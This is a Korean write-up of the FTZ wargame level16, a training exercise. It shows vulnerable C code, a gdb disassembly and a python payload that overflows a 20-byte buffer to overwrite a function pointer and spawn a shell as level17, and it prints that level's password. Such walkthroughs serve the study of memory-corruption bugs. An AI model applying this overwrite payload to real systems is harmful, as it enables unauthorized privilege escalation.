[FTZ] level16 풀이

💡 FTZ level16 풀이

문제

계정 : level16/about to cause mass

hint

#include <stdio.h>

void shell() {
  setreuid(3097,3097);
  system("/bin/sh");
}

void printit() {
  printf("Hello there!\n");
}

main()
{ int crap;
  void (*call)()=printit;
  char buf[20];
  fgets(buf,48,stdin);
  call();
}

풀이

call 변수에 printit 함수의 주소가 들어있는데, 이를 덮어써서 shell()함수가 호출되도록 하면 쉘을 획득할 수 있습니다.

우선 gdb를 실행합니다.

[level16@ftz tmp]$ gdb -q attackme
(gdb) set disass intel
(gdb) disas main
Dump of assembler code for function main:
0x08048518 <main+0>:    push   ebp
0x08048519 <main+1>:    mov    ebp,esp
0x0804851b <main+3>:    sub    esp,0x38
0x0804851e <main+6>:    mov    DWORD PTR [ebp-16],0x8048500 //printit 함수를 저장하는 부분
0x08048525 <main+13>:   sub    esp,0x4
0x08048528 <main+16>:   push   ds:0x80496e8
0x0804852e <main+22>:   push   0x30
0x08048530 <main+24>:   lea    eax,[ebp-56] //buf의 위치
0x08048533 <main+27>:   push   eax
0x08048534 <main+28>:   call   0x8048384 <fgets>
0x08048539 <main+33>:   add    esp,0x10
0x0804853c <main+36>:   mov    eax,DWORD PTR [ebp-16]
0x0804853f <main+39>:   call   eax
0x08048541 <main+41>:   leave
0x08048542 <main+42>:   ret
End of assembler dump.

ebp-16위치에 call 변수가 들어있고 0x8048500주소를 넣고 있습니다.

그리고 ebp-56에 buf 변수가 위치하고 있습니다.

함수들의 주소부터 확인해 봅니다.

(gdb) b main
Breakpoint 1 at 0x804851e
(gdb) run
Starting program: /home/level16/tmp/attackme

Breakpoint 1, 0x0804851e in main ()
(gdb) p printit
$1 = {<text variable, no debug info>} 0x8048500 <printit>
(gdb) p shell
$2 = {<text variable, no debug info>} 0x80484d0 <shell>

확인 결과 printit 함수의 주소는 0x8048500이 맞고, shell 함수의 주소는 0x80484d0입니다.

이제 bof 취약점으로 call 변수를 덮어써 줍니다.

buf 변수와 call 변수사이에 40바이트가 있으므로, 40바이트를 채운뒤 shell 변수를 넣어줍니다.

[level16@ftz level16]$ (python -c 'print("A"*40+"\xd0\x84\x04\x08")';cat) | ./attackme

id
uid=3097(level17) gid=3096(level16) groups=3096(level16)

my-pass
Level17 Password is "king poetic".

쉘을 획득했습니다.